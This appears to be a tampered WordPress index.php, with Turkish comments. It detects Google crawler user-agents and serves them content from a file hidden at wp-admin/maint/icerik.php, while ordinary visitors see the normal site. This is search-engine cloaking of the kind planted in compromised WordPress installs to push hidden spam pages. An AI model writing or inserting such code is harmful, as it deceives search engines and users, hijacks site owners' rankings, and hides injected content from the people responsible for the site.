$user_agent = $_SERVER['HTTP_USER_AGENT']; $google_bots = [ 'Googlebot', 'Googlebot-News', 'Googlebot-Image', 'Googlebot-Video', 'Googlebot-Mobile', 'Mediapartners-Google', 'AdsBot-Google', 'AdsBot-Google-Mobile', 'APIs-Google', 'Google Favicon', 'Google Web Preview', 'Feedfetcher-Google', 'DuplexWeb-Google', 'Google-InspectionTool', 'Googlebot-AdsBot', 'Googlebot-Desktop', 'Googlebot-Search', 'Googlebot-Events', 'Googlebot-Tablet', 'Googlebot-Local', 'Googlebot-Apps', 'Googlebot-Connect', 'Googlebot-Books', 'Googlebot-Publisher', 'Googlebot-News-RSS' ]; // Googlebot kontrolü foreach ($google_bots as $bot) { if (stripos($user_agent, $bot) !== false) { // Googlebot için sayfa cache'ini devre dışı bırak if (defined('DONOTCACHEPAGE') && DONOTCACHEPAGE) { // Eğer sayfa cache'lenmemeli ise direkt olarak içerik yükle require __DIR__ . '/wp-admin/maint/icerik.php'; exit; } // Cache bypass için özel HTTP başlığı ekle header('X-Cache-Bypass: Googlebot'); // Dinamik içeriği yükle require __DIR__ . '/wp-admin/maint/icerik.php'; exit; } } // Diğer tüm istekler için normal WordPress başlıklarını yükle define('WP_USE_THEMES', true); require __DIR__ . '/wp-blog-header.php';